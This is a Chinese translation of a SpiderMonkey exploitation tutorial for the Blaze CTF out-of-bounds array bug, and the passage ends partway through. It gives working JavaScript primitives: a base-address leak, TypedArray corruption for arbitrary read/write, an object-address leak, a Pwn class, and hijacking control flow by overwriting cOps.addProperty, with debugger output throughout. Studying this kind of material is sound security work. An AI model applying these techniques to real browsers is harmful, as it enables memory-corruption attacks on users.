spiderMonkey 漏洞利用简介2
条评论注: 接着上一篇文章,这里讲利用部分。原文链接:https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#jsvalues-and-jsobjects
Exploits
现在我们都是 SpiderMonkey 的专家,让我们来看看实际的挑战。 请注意,显然我们不需要上面的上下文来编写一个简单的漏洞。 当然,只是编写漏洞利用,都不是我的目标。
The vulnerability
仔细看看 blaze.patch diff之后,很明显作者已经向 Array 对象添加了一个名为 blaze 的方法。这个新方法将内部大小字段更改为 420 ,因为它毕竟是 Blaze CTF :)。 这允许我们访问缓冲区的越界的位置。1
2
3
4
5
6
7
8
9
10
11js> blz = []
[]
js> blz.length
0
js> blz.blaze() == undefined
false
js> blz.length
420
使用 js.exe 的调试版本时要记住的一个小问题是,您需要确保解释器永远不会显示 blaze’d 对象。如果这样做,数组的toString()函数遍历每个元素并调用它们的toString()。一旦你开始越界读,很可能会遇到下面的崩溃:1
2
3
4
5
6
7js> blz.blaze()
Assertion failure: (ptrBits & 0x7) == 0, at c:\Users\over\mozilla-central\js\src\build-release.x64\dist\include\js/Value.h:809
(1d7c.2b3c): Break instruction exception - code 80000003 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for c:\work\codes\blazefox\js-asserts\js.exe
js!JS::Value::toGCThing+0x75 [inlined in js!JS::MutableHandle<JS::Value>::set+0x97]:
00007ff6`ac86d7d7 cc int 3
解决这个烦恼的一个简单方法是直接向 JavaScript shell 提供文件或使用不返回结果数组的表达式,如 blz.blaze()== undefined 。 请注意,您自然不会在发布版本中遇到上述断点。
basic.js
如上所述,我们利用此漏洞的目标是弹出计算器。我们不关心漏洞是多么不可靠或糟糕:我们只想在 JavaScript shell中获得本地代码执行的能力。在这个 exploit 中,我利用了 shell 的调试版本,启用其中的断点。我建议你关注一下,为此我在这里分享了二进制文件(以及符号信息):js-asserts 。
像这样的越界溢出,我们想要的是拥有两个相邻的数组并使用第一个数组来破坏第二个数组。通过这种设置,我们可以将有限的相对存储器读/写访问,转换为任意地址读/写操作。
现在,我们必须记住,Arrays 存储的是 js :: Values 而不是原始值。如果你是在 JavaScript 中的溢出的buffer 部分写入值 0x1337,你实际上会在内存中写入值 0xfff8800000001337 。一开始感觉有点奇怪,但你很快习惯了这种类型的东西:-)。
我们继续:是时候来观察数组了。为此,我强烈建议抓取一个简单的 JavaScript 文件的执行过程,并进行跟踪,用 TTD 创建数组。跟踪后,您可以在调试器中加载它,以便弄清楚如何分配数组和位置。
请注意,要从调试器中检查 JavaScript 对象,我使用我编写的名为 sm.js 的 JavaScript 扩展,您可以在此处找到它。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
510:000> bp js!js::math_atan2
0:000> g
Breakpoint 0 hit
Time Travel Position: D5DC:D
js!js::math_atan2:
00007ff7`4704e140 56 push rsi
0:000> !smdump_jsvalue vp[2].asBits_
25849101b00: js!js::ArrayObject: Length: 4
25849101b00: js!js::ArrayObject: Capacity: 6
25849101b00: js!js::ArrayObject: Content: [0x1, 0x2, 0x3, 0x4]
@$smdump_jsvalue(vp[2].asBits_)
0:000> dx -g @$cursession.TTD.Calls("js!js::allocate<JSObject,js::NoGC>").Where(p => p.ReturnValue == 0x25849101b00)
=====================================================================================================================================================================================================================
= = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd = (+) Function = (+) FunctionAddress = (+) ReturnAddress = (+) ReturnValue = (+) Parameters =
=====================================================================================================================================================================================================================
= [0x14] - Call - 0x32f8 - 0x2 - D58F:723 - D58F:77C - js!js::Allocate<JSObject,js::NoGC> - 0x7ff746f841b0 - 0x7ff746b4b702 - 0x25849101b00 - {...} =
=====================================================================================================================================================================================================================
0:000> !tt D58F:723
Setting position: D58F:723
Time Travel Position: D58F:723
js!js::Allocate<JSObject,js::NoGC>:
00007ff7`46f841b0 4883ec28 sub rsp,28h
0:000> kc
# Call Site
00 js!js::Allocate<JSObject,js::NoGC>
01 js!js::NewObjectCache::newObjectFromHit
02 js!NewArrayTryUseGroup<4294967295>
03 js!js::NewCopiedArrayForCallingAllocationSite
04 js!ArrayConstructorImpl
05 js!js::ArrayConstructor
06 js!InternalConstruct
07 js!Interpret
08 js!js::RunScript
09 js!js::ExecuteKernel
0a js!js::Execute
0b js!JS_ExecuteScript
0c js!Process
0d js!main
0e js!__scrt_common_main_seh
0f KERNEL32!BaseThreadInitThunk
10 ntdll!RtlUserThreadStart
0:000> dv
kind = OBJECT8_BACKGROUND (0n9)
nDynamicSlots = 0
heap = DefaultHeap (0n0)
cool~ 根据以上所述,新的数组(1,2,3,4)从 Nursery 堆(或 DefaultHeap)分配,并且是OBJECT8_BACKGROUND 。 这种对象长度为 0x60 字节,如下所示:1
2
3
4
50:000> x js!js::gc::Arena::ThingSizes
00007ff7`474415b0 js!js::gc::Arena::ThingSizes = <no type information>
0:000> dds 00007ff7`474415b0 + 9*4 l1
00007ff7`474415d4 00000060
Nursery 堆最多为 16MB(默认情况下,但可以使用 –nursery-size 选项进行调整)。对于我们这个分配器来说,有一件好事就是没有任何随机化。如果我们分配两个数组,它们很可能在内存中相邻。 另一个很棒的事情是 TypedArrays 也在那里分配。
作为第一个实验,我们可以尝试在内存中使用 Array 和 TypedArray,并在调试器中进行确认。 如你所见,下面是我的脚本:1
2const Smalls = new Array(1, 2, 3, 4);
const U8A = new Uint8Array(8);
我们现在从调试器中查看它:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32(2ab8.22d4): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007fff`b8c33050 cc int 3
0:005> bp js!js::math_atan2
0:005> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff7`4704e140 56 push rsi
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe013e`bb2019e0
0:000> .scriptload c:\work\codes\blazefox\sm\sm.js
JavaScript script successfully loaded from 'c:\work\codes\blazefox\sm\sm.js'
0:000> !smdump_jsvalue vp[2].asBits_
13ebb2019e0: js!js::ArrayObject: Length: 4
13ebb2019e0: js!js::ArrayObject: Capacity: 6
13ebb2019e0: js!js::ArrayObject: Content: [0x1, 0x2, 0x3, 0x4]
@$smdump_jsvalue(vp[2].asBits_)
0:000> ? 0xfffe013e`bb2019e0 + 60
Evaluate expression: -561581014377920 = fffe013e`bb201a40
0:000> !smdump_jsvalue 0xfffe013ebb201a40
13ebb201a40: js!js::TypedArrayObject: Type: Uint8Array
13ebb201a40: js!js::TypedArrayObject: Length: 8
13ebb201a40: js!js::TypedArrayObject: ByteLength: 8
13ebb201a40: js!js::TypedArrayObject: ByteOffset: 0
13ebb201a40: js!js::TypedArrayObject: Content: Uint8Array({Length:8, ...})
@$smdump_jsvalue(0xfffe013ebb201a40)
Cool~ 检查出:数组(大小为 0x60 字节)与 TypedArray 相邻。那么,在我编译 JavaScript shell 的调试版本和编译发布版本的时候,这可能是一个很好的时机让我告诉你一些事:一些核心结构略有改变,这意味着如果你在调试上使用 sm.js 它将无法工作:)。这是一个如下所示的变化:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
210:008> dt js::Shape
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 slotInfo : Uint4B
+0x014 attrs : UChar
+0x015 flags : UChar
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : Ptr64 js::GCPtr<js::Shape *>
VS
0:000> dt js::Shape
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : Uint4B
+0x014 attrs : UChar
+0x015 mutableFlags : UChar
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : Ptr64 js::GCPtr<js::Shape *>
由于我们想要破坏相邻的 TypedArray,我们应该看看它的布局。我们感兴趣的是破坏这样的对象以便能够完全控制内存。不再编写受控的 js :: Value,但实际的原始字节对我们来说非常有用。对于那些不熟悉 TypedArray 的人来说,它们是 JavaScript 对象,允许您像使用 C 数组一样访问原始二进制数据。例如,Uint32Array 为您提供了一种访问原始 uint32_t 数据的机制, Uint8Array 用于 uint8_t 数据等。
通过查看源代码,我们了解到 TypedArrays 是 js :: TypedArrayObject,它们是 js :: ArrayBufferViewObject 的子类。 我们想知道的基本上是缓冲区大小和缓冲区指针存储在哪个 slot 中(这样我们就可以替换它们):1
2
3
4
5
6
7
8
9
10
11
12
13
14class ArrayBufferViewObject : public NativeObject
{
public:
// Underlying (Shared)ArrayBufferObject.
static constexpr size_t BUFFER_SLOT = 0;
// Slot containing length of the view in number of typed elements.
static constexpr size_t LENGTH_SLOT = 1;
// Offset of view within underlying (Shared)ArrayBufferObject.
static constexpr size_t BYTEOFFSET_SLOT = 2;
static constexpr size_t DATA_SLOT = 3;
// [...]
};
class TypedArrayObject : public ArrayBufferViewObject
真棒。 这是它在调试器中的样子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
220:000> ?? vp[2]
union JS::Value
+0x000 asBits_ : 0xfffe0216`3cb019e0
+0x000 asDouble_ : -1.#QNAN
+0x000 s_ : JS::Value::<unnamed-type-s_>
0:000> dt js::NativeObject 216`3cb019e0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000216`3ccac948 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`f7ecdac0 js::HeapSlot
0:000> dqs 216`3cb019e0
00000216`3cb019e0 00000216`3cc7ac70
00000216`3cb019e8 00000216`3ccac948
00000216`3cb019f0 00000000`00000000
00000216`3cb019f8 00007ff7`f7ecdac0 js!emptyElementsHeader+0x10
00000216`3cb01a00 fffa0000`00000000 <- BUFFER_SLOT
00000216`3cb01a08 fff88000`00000008 <- LENGTH_SLOT
00000216`3cb01a10 fff88000`00000000 <- BYTEOFFSET_SLOT
00000216`3cb01a18 00000216`3cb01a20 <- DATA_SLOT
00000216`3cb01a20 00000000`00000000 <- Inline data (8 bytes)
如您所见,长度是一个 js :: Value,指向数组内联缓冲区的指针是一个原始指针。 同样方便的是 elements_field 指向 JavaScript 引擎二进制文件的 .rdata 部分(使用 JavaScript Shell 时为 js.exe,使用 Firefox 时为xul.dll)。 我们用它来泄漏模块的基地址。
考虑到这一点,我们可以开始编写 exploit 的利用代码:
- 我们可以通过读取 TypedArray 的 elements_ 字段来泄漏 js.exe 的基址。
- 我们可以通过破坏 DATA_SLOT 然后通过 TypedArray 读取/写入来创建绝对内存访问代码(如果需要也可以破坏LENGTH_SLOT)。
现在,您可能想知道我们将如何通过存储 js :: Value 的 Array 读取原始指针? 如果我们将用户模式指针读作 js :: Value ,您认为会发生什么?
为了回答这个问题,我认为现在是坐下来看看 IEEE754 标准,并且在 js :: Value 中编码双精度的方式,希望找出上述操作是否安全。js :: Value 中被认为最大的 double 数据是 0x1fff0 << 47 = 0xfff8000000000000 。而且所有较小的数据也被视为 double 数据。0x1fff0 是 JSVAL_TAG_MAX_DOUBLE 标记。再简单的说,你可以认为你能将指针从0x0000000000000000 编码为 0xfff8000000000000 作为js :: Value double。根据 IEEE754 编码的双精度方式是你有 52 位 fraction,11 位 exponent 和 1 位 sign 。该标准还定义了一组特殊值,例如: NaN 或 Infinity 。 让我们一个接一个地来分析。
NaN 通过遵循相同规则的几个位模式表示:它们都有一个 exponent 位设置为 1,除了所有 0 位之外,fraction 部分可以是所有内容。这给了我们以下 NaN 范围:[0x7ff0000000000001, 0xffffffffffffffff] 请参阅以下详细信息:
- 0x7ff0000000000001 是最小的 NaN,sign = 0,exp =1*11,frac =0* 51 + 1:
– 0b0111111111110000000000000000000000000000000000000000000000000001 - 0xfff0000000000000 是 -Infinity with sign=1, exp=1*11, frac=0*52
– 0b1111111111110000000000000000000000000000000000000000000000000000
还有两个零值。 正负值,值为 0x0000000000000000 和 0x8000000000000000 。 请参阅以下详细信息:
- 0x0000000000000000 是 +0 , sign=0, exp=0*11, frac=0*52:
– 0b0000000000000000000000000000000000000000000000000000000000000000 - 0x8000000000000000 是 -0 , sign=1, exp=0*11, frac=0*52:
– 0b1000000000000000000000000000000000000000000000000000000000000000
NaN 的值对我们写利用来说很烦,因为如果我们通过 js :: Value 泄漏原始指针,我们无法判断它的值是否为0x7ff0000000000001 , 0xffffffffffffffff 或介于两者之间的任何值。其余的特殊值就很好,它们的编码与含义是1:1匹配的。在 64 位的 windows 进程中,用户模式下的虚拟地址空间是 128TB ,从 0x0000000000000000 到0x00007fffffffffff 。好消息是 NaN 范围与用户模式指针的所有可能值之间是没有交集的。这意味着我们可以通过 js :: Value 对象来安全的泄漏它们。
如果您想更多地使用上面说讲的内容,可以在 JavaScript Shell 中使用以下函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function b2f(A) {
if(A.length != 8) {
throw 'Needs to be an 8 bytes long array';
}
const Bytes = new Uint8Array(A);
const Doubles = new Float64Array(Bytes.buffer);
return Doubles[0];
}
function f2b(A) {
const Doubles = new Float64Array(1);
Doubles[0] = A;
return Array.from(new Uint8Array(Doubles.buffer));
}
你可以看到如下输出:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15// +Infinity
js> f2b(b2f([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f]))
[0, 0, 0, 0, 0, 0, 240, 127]
// -Infinity
js> f2b(b2f([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff]))
[0, 0, 0, 0, 0, 0, 240, 255]
// NaN smallest
js> f2b(b2f([0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f]))
[0, 0, 0, 0, 0, 0, 248, 127]
// NaN biggest
js> f2b(b2f([0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff]))
[0, 0, 0, 0, 0, 0, 248, 127]
无论如何,这意味着我们可以泄漏 emptyElementsHeader 指针以及使用双精度数去破坏 DATA_SLOT 缓冲区指针。因为我没有意识到首先要在 js :: Value 中编码双精度数,所以我使用另一个与 TypedArray 相邻的数组(它们在内存中的布局是:一个数组,一个 TypedArray 和另一个数组),通过 TypedArray 读取这个数组的指针。
在编码之前要提到的最后一件事是我们使用 saelo 编写的 Int64.js 库来表示 64 位整数(我们今天无法使用 JavaScript 原生整数表示),并且里面有能将 double 转换为 Int64 的实用函数,和 int64 转换 double 的函数。虽然这不是必须用到的操作,但这会让后面的一切显得很自然。在撰写本文时,默认情况下在 Firefox上没有启用 BigInt(也就是任意精度JavaScript整数)JavaScript 标准,但这很快就会在每个主流浏览器中成为主流。它将使所有这些操作更容易,你不再需要任何自定义 JavaScript 模块来编写浏览器的利用:-)
下面通过一个损坏的 blaze’d 数组和 TypedArray 在内存中布局的图进行说明:
构建任意内存访问代码。
如上图所示,第一个数组长度为 0x60 字节(包括内联缓冲区,假设我们最多使用 6 个 entries 实例化它)。内联的后备缓冲区从 + 0x30(6 * 8) 开始。后备缓冲区可以容纳 6 个 js :: Value(另一个 0x30 字节),而泄漏的目标指针位于 TypedArray 的 + 0x18(3 * 8) 处。这意味着,如果我们得到数组的第 6 + 3 位置的 entry ,我们应该将 js!emptyElementsHeader 指针编码为 double 型数据:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25js> b = new Array(1,2,3,4,5,6)
[1, 2, 3, 4, 5, 6]
js> c = new Uint8Array(8)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0})
js> b[9]
js> b.blaze() == undefined
false
js> b[9]
6.951651517974e-310
js> load('..\\exploits\\utils.js')
js> load('..\\exploits\\int64.js')
js> Int64.fromDouble(6.951651517974e-310).toString(16)
"0x00007ff7f7ecdac0"
# break to the debugger
0:006> ln 0x00007ff7f7ecdac0
(00007ff7`f7ecdab0) js!emptyElementsHeader+0x10
对于任意读写代码,如前所述,我们可以使用我们想要读/写的地址来替换 TypedArray 的 DATA_SLOT 指针,将其编码为 double 型数据。改变 length 更容易,因为它存储为 js :: Value 。基指针应位于索引 13(9 + 4),长度指针位于索引 11(9 + 2) 处。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17js> b.length
420
js> c.length
8
js> b[11]
8
js> b[11] = 1337
1337
js> c.length
1337
js> b[13] = new Int64('0xdeadbeefbaadc0de').asDouble()
-1.1885958399657559e+148
从c中读取一个字节现在应该在调试器中触发以下异常:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29js!js::TypedArrayObject::getElement+0x4a:
00007ff7`f796648a 8a0408 mov al,byte ptr [rax+rcx] ds:deadbeef`baadc0de=??
0:000> kc
# Call Site
00 js!js::TypedArrayObject::getElement
01 js!js::NativeGetPropertyNoGC
02 js!Interpret
03 js!js::RunScript
04 js!js::ExecuteKernel
05 js!js::Execute
06 js!JS_ExecuteScript
07 js!Process
08 js!main
09 js!__scrt_common_main_seh
0a KERNEL32!BaseThreadInitThunk
0b ntdll!RtlUserThreadStart
0:000> lsa .
1844: switch (type()) {
1845: case Scalar::Int8:
1846: return Int8Array::getIndexValue(this, index);
1847: case Scalar::Uint8:
> 1848: return Uint8Array::getIndexValue(this, index);
1849: case Scalar::Int16:
1850: return Int16Array::getIndexValue(this, index);
1851: case Scalar::Uint16:
1852: return Uint16Array::getIndexValue(this, index);
1853: case Scalar::Int32:
构建对象地址泄漏代码。
另一个非常有用的操作是允许泄漏任意 JavaScript 对象的地址。它对于调试和修改内存中的对象都很有用。同样,一旦你有了下面的代码,这很容易就实现。我们可以利用第三个数组(与 TypedArray 相邻),向数组中第一个 entry 写入我们想要泄漏的对象的地址。从 TypedArray 的内联后备缓冲区中,读取相对位置,找到对象的 js :: Value 用来泄漏地址。从这里,可以分离几个 Bit 位,作为今后的调用。与相邻对象的属性相同(在 saelo 编写的 foxpwn 中使用)。这实际上是个问题,要能够从内联缓冲区读取一个相对位置,且最终会引你到 js :: Value 编码你的对象地址。
另一个方法,不需要我们创建另一个数组,而是使用第一个 Array ,并越界写入 TypedArray 的后备缓冲区。然后,我们可以简单地逐字节读出 TypedArray 内联后备缓冲区中的 js :: Value ,并提取对象地址。我们可以通过索引 14(9 + 5) 在TypedArray 缓冲区中写入数据。不要忘记用足够的存储空间来实例化你的 TypedArray ,否则你就破坏了内存:-)。1
2
3
4
5
6
7
8
9
10
11
12
13
14js> c = new Uint8Array(8)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0})
js> d = new Array(1337, 1338, 1339)
[1337, 1338, 1339]
js> b[14] = d
[1337, 1338, 1339]
js> c.slice(0, 8)
({0:32, 1:29, 2:32, 3:141, 4:108, 5:1, 6:254, 7:255})
js> Int64.fromJSValue(c.slice(0, 8)).toString(16)
"0x0000016c8d201d20"
我们可以通过调试器验证我们确实泄露了 d 的地址。1
2
3
4
5
6
7
80:005> !smdump_jsobject 0x16c8d201d20
16c8d201d20: js!js::ArrayObject: Length: 3
16c8d201d20: js!js::ArrayObject: Capacity: 6
16c8d201d20: js!js::ArrayObject: Content: [0x539, 0x53a, 0x53b]
@$smdump_jsvalue(0xfffe016c8d201d20)
0:005> ? 539
Evaluate expression: 1337 = 00000000`00000539
很好,我们现在拥有编写 basic.js 和弹出计算器所需的所有构建块。 我将下面的 Pwn 类中,将描述的所有代码组合在一起,抽象出细节:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82class __Pwn {
constructor() {
this.SavedBase = Smalls[13];
}
__Access(Addr, LengthOrValues) {
if(typeof Addr == 'string') {
Addr = new Int64(Addr);
}
const IsRead = typeof LengthOrValues == 'number';
let Length = LengthOrValues;
if(!IsRead) {
Length = LengthOrValues.length;
}
if(IsRead) {
dbg('Read(' + Addr.toString(16) + ', ' + Length + ')');
} else {
dbg('Write(' + Addr.toString(16) + ', ' + Length + ')');
}
//
// Fix U8A's byteLength.
//
Smalls[11] = Length;
//
// Verify that we properly corrupted the length of U8A.
//
if(U8A.byteLength != Length) {
throw "Error: The Uint8Array's length doesn't check out";
}
//
// Fix U8A's base address.
//
Smalls[13] = Addr.asDouble();
if(IsRead) {
return U8A.slice(0, Length);
}
U8A.set(LengthOrValues);
}
Read(Addr, Length) {
return this.__Access(Addr, Length);
}
WritePtr(Addr, Value) {
const Values = new Int64(Value);
this.__Access(Addr, Values.bytes());
}
ReadPtr(Addr) {
return new Int64(this.Read(Addr, 8));
}
AddrOf(Obj) {
//
// Fix U8A's byteLength and base.
//
Smalls[11] = 8;
Smalls[13] = this.SavedBase;
//
// Smalls is contiguous with U8A. Go and write a jsvalue in its buffer,
// and then read it out via U8A.
//
Smalls[14] = Obj;
return Int64.fromJSValue(U8A.slice(0, 8));
}
};
const Pwn = new __Pwn();
劫持控制流
现在我们已经建立了所有必要的工具,我们需要找到一种方法来劫持控制流。在Firefox中,有不受任何类型的 CFI 实现的保护,因此只需要找到可写的函数指针和从 JavaScript 触发其调用的方法。我们稍后会处理剩下的问题:)
有几种方法可以实现这一点,具体取决于前后内容的关联和你受到的约束:
- 覆盖保存的返回地址(当软件受前沿CFI保护时,人们通常选择做什么)
- 覆盖虚拟表条目(很多浏览器上下文中的条目)
- 覆盖指向JIT的JavaScript函数的指针(JavaScript shell 中的好目标,但不真正存在)
- 覆盖另一种类型的函数指针(JavaScript shell 环境中的另一个好的目标)
最后一项是我们今天将关注的内容。 找到这样的目标并不是很难,因为 Hanming Zhang from 360 Vulcan team 已经描述过这个目标。
每个 JavaScript 对象都定义了各种方法,因此必须将它们存储在某个地方。幸运的是,有一堆 Spidermonkey 结构就是这样描述的。我们之前在 js:NativeObject 中没有提到的一个字段是 group_ 字段。js :: ObjectGroup 记录一组对象的类型信息。clasp_ field 链接到另一个描述对象组类的对象。
例如,我们的 b 对象的类是 Uint8Array 。正是在这个对象中,可以找到类的名称以及它定义的各种方法。如果我们遵循 js :: Class 对象的 cOps 字段,我们最终得到一堆函数指针,这些指针在特殊时间由 JavaScript 引擎调用:向对象添加属性,删除属性等。
说得够多了,让我们看看调试器使用 TypedArray 对象实际看起来是什么样的:
1 | 0:005> g |
当然,这些指针存储在只读部分,这意味着我们不能直接覆盖它们。但这很好,我们可以继续向后退,直到找到一个可写指针。一旦我们这样做,我们可以人为地重建自己的结构链直到 cOps 领域,然后覆盖要被劫持的指针。基于以上所述,我们可以修改的最早对象是 js :: ObjectGroup,更确切地说是它的 clasp_ 字段。
在继续前进之前,我们可能需要验证如果我们能够控制 cOps 函数指针,我们是否能够劫持来自 JavaScript 的控制流?
好吧,让我们直接从调试器覆盖cOps.addProperty字段:1
2
30:000> eq 0x00007ff7`f7edc690 deadbeefbaadc0de
0:000> g
向对象添加属性:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34js> c.diary_of_a_reverse_engineer = 1337
0:000> g
(3af0.3b40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::CallJSAddPropertyOp+0x6c:
00007ff7`80e400cc 48ffe0 jmp rax {deadbeef`baadc0de}
0:000> kc
# Call Site
00 js!js::CallJSAddPropertyOp
01 js!CallAddPropertyHook
02 js!AddDataProperty
03 js!DefineNonexistentProperty
04 js!SetNonexistentProperty<1>
05 js!js::NativeSetProperty<1>
06 js!js::SetProperty
07 js!SetPropertyOperation
08 js!Interpret
09 js!js::RunScript
0a js!js::ExecuteKernel
0b js!js::Execute
0c js!ExecuteScript
0d js!JS_ExecuteScript
0e js!RunFile
0f js!Process
10 js!ProcessArgs
11 js!Shell
12 js!main
13 js!invoke_main
14 js!__scrt_common_main_seh
15 KERNEL32!BaseThreadInitThunk
16 ntdll!RtlUserThreadStart
感谢我们之前写的 Pwn 类,这应该很容易实现。 我们可以使用 Pwn.AddrOf 来泄漏一个对象地址(下面称为Target ),跟随指针链并通过将它们的内容复制到 TypedArray 的后备缓冲区中来重新创建这些结构(例如下面称为MemoryBackingObject )。 完成后,只需覆盖目标对象的 addProperty 字段即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50//
// Retrieve a bunch of addresses needed to replace Target's clasp_ field.
//
const Target = new Uint8Array(90);
const TargetAddress = Pwn.AddrOf(Target);
const TargetGroup_ = Pwn.ReadPtr(TargetAddress);
const TargetClasp_ = Pwn.ReadPtr(TargetGroup_);
const TargetcOps = Pwn.ReadPtr(Add(TargetClasp_, 0x10));
const TargetClasp_Address = Add(TargetGroup_, 0x0);
const TargetShapeOrExpando_ = Pwn.ReadPtr(Add(TargetAddress, 0x8));
const TargetBase_ = Pwn.ReadPtr(TargetShapeOrExpando_);
const TargetBaseClasp_Address = Add(TargetBase_, 0);
const MemoryBackingObject = new Uint8Array(0x88);
const MemoryBackingObjectAddress = Pwn.AddrOf(MemoryBackingObject);
const ClassMemoryBackingAddress = Pwn.ReadPtr(Add(MemoryBackingObjectAddress, 7 * 8));
// 0:000> ?? sizeof(js!js::Class)
// unsigned int64 0x30
const ClassOpsMemoryBackingAddress = Add(ClassMemoryBackingAddress, 0x30);
print('[+] js::Class / js::ClassOps backing memory is @ ' + MemoryBackingObjectAddress.toString(16));
//
// Copy the original Class object into our backing memory, and hijack
// the cOps field.
//
MemoryBackingObject.set(Pwn.Read(TargetClasp_, 0x30), 0);
MemoryBackingObject.set(ClassOpsMemoryBackingAddress.bytes(), 0x10);
//
// Copy the original ClassOps object into our backing memory and hijack
// the add property.
//
MemoryBackingObject.set(Pwn.Read(TargetcOps, 0x50), 0x30);
MemoryBackingObject.set(new Int64('0xdeadbeefbaadc0de').bytes(), 0x30);
print("[*] Overwriting Target's clasp_ @ " + TargetClasp_Address.toString(16));
Pwn.WritePtr(TargetClasp_Address, ClassMemoryBackingAddress);
print("[*] Overwriting Target's shape clasp_ @ " + TargetBaseClasp_Address.toString(16));
Pwn.WritePtr(TargetBaseClasp_Address, ClassMemoryBackingAddress);
//
// Let's pull the trigger now.
//
print('[*] Pulling the trigger bebe..');
Target.im_falling_and_i_cant_turn_back = 1;
请注意,我们还会覆盖 shape 对象中的另一个字段,因为 JavaScript shell 的调试版本具有一个判断,可确保从 shape 中检索的对象类与对象组中的对象类相同。 如果你不这样做,那么你将遇到崩溃:1
Assertion failure: shape->getObjectClass() == getClass(), at c:\Users\over\mozilla-central\js\src\vm/NativeObject-inl.h:659
透明的堆栈
与当下的 EXP 一样,劫持控制流是旅程的开始。 我们想在 JavaScript 中执行任意代码。 为了利用传统的 ROP,我们有四种条件中的三种:
- 我们知道内存在哪里,
- 我们有办法控制执行,
- 我们有任意空间来存储链条,不受任何限制,
- 但是我们没有办法将堆栈转移到我们控制的内存区域。
现在,如果我们想将堆栈转移到我们控制的位置,我们需要在劫持控制流时对 CPU 上下文进行某种控制。 我们需要调查如何调用此函数指针并查看是否可以控制任何参数等。1
2
3/** Add a property named by id to obj. */
typedef bool (*JSAddPropertyOp)(JSContext* cx, JS::HandleObject obj,
JS::HandleId id, JS::HandleValue v);
这里是劫持点的CPU上下文:1
2
3
4
5
6
7
8
9
10
110:000> r
rax=000000000001fff1 rbx=000000469b9ff490 rcx=0000020a7d928800
rdx=000000469b9ff490 rsi=0000020a7d928800 rdi=deadbeefbaadc0de
rip=00007ff658b7b3a2 rsp=000000469b9fefd0 rbp=0000000000000000
r8=000000469b9ff248 r9=0000020a7deb8098 r10=0000000000000000
r11=0000000000000000 r12=0000020a7da02e10 r13=000000469b9ff490
r14=0000000000000001 r15=0000020a7dbbc0b0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
js!js::NativeSetProperty<js::Qualified>+0x2b52:
00007ff6`58b7b3a2 ffd7 call rdi {deadbeef`baadc0de}
让我们分解这部分:
- @rdx 是 obj,它是指向 JSObject 的指针(上面脚本中的 Target 。还要注意 @rbx 具有相同的值),
- @r8 是 id,它是一个指向 jsid 的指针,描述我们尝试添加的属性的名称,在我们的例子中是im_falling_and_i_cant_turn_back,
- @r9 是 v,它是指向 js :: Value 的指针(上面脚本中的 JavaScript 整数 1)。
与往常一样,调试器验证:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
290:000> dqs @rdx l1
00000046`9b9ff490 0000020a`7da02e10
0:000> !smdump_jsobject 0x20a7da02e10
20a7da02e10: js!js::TypedArrayObject: Type: Uint8Array
20a7da02e10: js!js::TypedArrayObject: Length: 90
20a7da02e10: js!js::TypedArrayObject: ByteLength: 90
20a7da02e10: js!js::TypedArrayObject: ByteOffset: 0
20a7da02e10: js!js::TypedArrayObject: Content: Uint8Array({Length:90, ...})
@$smdump_jsobject(0x20a7da02e10)
0:000> dqs @r8 l1
00000046`9b9ff248 0000020a`7dbaf100
0:000> dqs 0000020a`7dbaf100
0000020a`7dbaf100 0000001f`00000210
0000020a`7dbaf108 0000020a`7dee2f20
0:000> da 0000020a`7dee2f20
0000020a`7dee2f20 "im_falling_and_i_cant_turn_back"
0:000> dqs @r9 l1
0000020a`7deb8098 fff88000`00000001
0:000> !smdump_jsvalue 0xfff8800000000001
